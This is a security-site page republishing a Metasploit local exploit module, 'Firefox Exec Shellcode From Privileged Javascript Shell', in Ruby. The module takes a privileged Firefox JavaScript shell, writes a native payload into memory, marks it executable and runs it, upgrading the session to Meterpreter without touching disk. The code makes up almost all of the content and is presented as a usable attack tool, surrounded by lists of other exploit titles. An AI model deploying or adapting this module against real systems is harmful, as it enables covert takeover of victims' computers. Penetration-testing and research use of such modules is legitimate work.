首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Firefox Exec Shellcode From Privileged Javascript Shell
来源:metasploit.com 作者:joev 发布时间:2014-03-14  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/payload/firefox'

class Metasploit3 < Msf::Exploit::Local

  include Msf::Payload::Firefox
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Firefox Exec Shellcode from Privileged Javascript Shell',
      'Description'   => %q{
        Allows execution of native payloads from a privileged Firefox Javascript shell.
        Puts the specified payload into memory, adds the necessary protection flags,
        and calls it. Useful for upgrading a Firefox javascript shell to a Meterpreter
        session without touching the disk.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'joev' ],
      'Platform'      => [ 'firefox' ],
      'DisclosureDate' => 'Mar 10 2014',
      'Targets'       => [
        [
          'Native Payload', {
            'Platform' => %w{ linux osx win unix },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0
    ))

    register_options([
      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
    ], self.class)
  end

  def exploit
    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
    print_warning(results) if results.present?
  end

  def js_payload
    %Q|
      (function(send){
        try {
          #{run_payload}
          send("Payload executed.");
        } catch (e) {
          send(e);
        }
      })(send);
    |.strip
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zoo 2.10 - Parse.c Local Buffe
·MicroP 0.1.1.1600 - (.mppl) Lo
·Ruby Gem Arabic Prawn 0.0.1 Co
·Free Download Manager 3.x Buff
·OS X / Safari / Firefox REGEX
·iOS 7 Arbitrary Code Execution
·Oracle VirtualBox 3D Accelerat
·Trixbox Pro Remote Command Exe
·Yokogawa CENTUM CS 3000 BKBCop
·Gold MP4 Player 3.3 - Universa
·Yokogawa CENTUM CS 3000 BKHOde
·ClipSharePro 4.1 Local File In
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved